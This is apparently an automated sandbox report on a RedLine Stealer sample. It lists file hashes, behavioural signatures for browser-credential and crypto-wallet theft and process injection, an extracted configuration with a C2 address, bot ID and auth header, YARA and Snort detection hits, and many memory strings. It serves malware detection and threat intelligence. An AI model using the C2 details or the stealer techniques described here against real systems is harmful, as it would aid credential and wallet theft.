Edit tour

Windows Analysis Report
hy4iXHZVJ4.exe

Overview

General Information

Sample Name:	hy4iXHZVJ4.exe
Analysis ID:	736297
MD5:	30757d645e25fb8ee4871ceface19772
SHA1:	e21abb5ecefd8f9c9ad5f30c27ef3de913b47ed2
SHA256:	53a346abbdc2c926034a024aee8a4b794edb4430826489486ad0dc46d1352d41
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Enables debug privileges

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

PE file contains more sections than normal

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

hy4iXHZVJ4.exe (PID: 6084 cmdline: C:\Users\user\Desktop\hy4iXHZVJ4.exe MD5: 30757D645E25FB8EE4871CEFACE19772)

conhost.exe (PID: 6096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vbc.exe (PID: 104032 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["195.2.79.103:29071"], "Bot Id": "Testiruemlnk", "Authorization Header": "cb1bbd476d42e2e79ff5d2349388d6ae"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.324332511.00000000009D2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.328701163.000000000084C000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vbc.exe PID: 104032	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 104032	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.hy4iXHZVJ4.exe.84d658.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.hy4iXHZVJ4.exe.84d658.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x11a8:$pat14: , CommandLine: 0x129d4:$v2_1: ListOfProcesses 0x127d1:$v4_3: base64str 0x1325b:$v4_4: stringKey 0x10fa9:$v4_5: BytesToStringConverted 0xfa69:$v4_6: FromBase64 0x1147e:$v4_8: procName
0.3.hy4iXHZVJ4.exe.9d0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.hy4iXHZVJ4.exe.9d0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x11a8:$pat14: , CommandLine: 0x129d4:$v2_1: ListOfProcesses 0x127d1:$v4_3: base64str 0x1325b:$v4_4: stringKey 0x10fa9:$v4_5: BytesToStringConverted 0xfa69:$v4_6: FromBase64 0x1147e:$v4_8: procName
0.2.hy4iXHZVJ4.exe.84d658.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x10bd4:$v2_1: ListOfProcesses 0x109d1:$v4_3: base64str 0x1145b:$v4_4: stringKey 0xf1a9:$v4_5: BytesToStringConverted 0xdc69:$v4_6: FromBase64 0xf67e:$v4_8: procName

Snort Signatures

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.4 - Destination IP: 195.2.79.103

Timestamp:	192.168.2.4195.2.79.10349696290712850027 11/02/22-19:52:36.446226
SID:	2850027
Source Port:	49696
Destination Port:	29071
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 195.2.79.103 - Destination IP: 192.168.2.4

Timestamp:	195.2.79.103192.168.2.429071496962850353 11/02/22-19:52:38.292480
SID:	2850353
Source Port:	29071
Destination Port:	49696
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 195.2.79.103

Timestamp:	192.168.2.4195.2.79.10349696290712850286 11/02/22-19:52:40.467455
SID:	2850286
Source Port:	49696
Destination Port:	29071
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: hy4iXHZVJ4.exe	ReversingLabs: Detection: 88%
Source: hy4iXHZVJ4.exe	Virustotal: Detection: 62%			Perma Link

Machine Learning detection for sample

Source: hy4iXHZVJ4.exe

Joe Sandbox ML: detected

Source: 0.2.hy4iXHZVJ4.exe.84d658.1.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["195.2.79.103:29071"], "Bot Id": "Testiruemlnk", "Authorization Header": "cb1bbd476d42e2e79ff5d2349388d6ae"}

Source: hy4iXHZVJ4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 4x nop then sub esp, 1Ch		0_2_00448B90
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 4x nop then sub esp, 1Ch		0_2_0042F510

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.4:49696 -> 195.2.79.103:29071
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.4:49696 -> 195.2.79.103:29071
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 195.2.79.103:29071 -> 192.168.2.4:49696

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 195.2.79.103 ports 0,1,2,7,29071,9

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 195.2.79.103:29071

Source: Joe Sandbox View

ASN Name: VDSINA-ASRU VDSINA-ASRU

Source: global traffic

TCP traffic: 192.168.2.4:49696 -> 195.2.79.103:29071

Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.79.103

Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmD
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
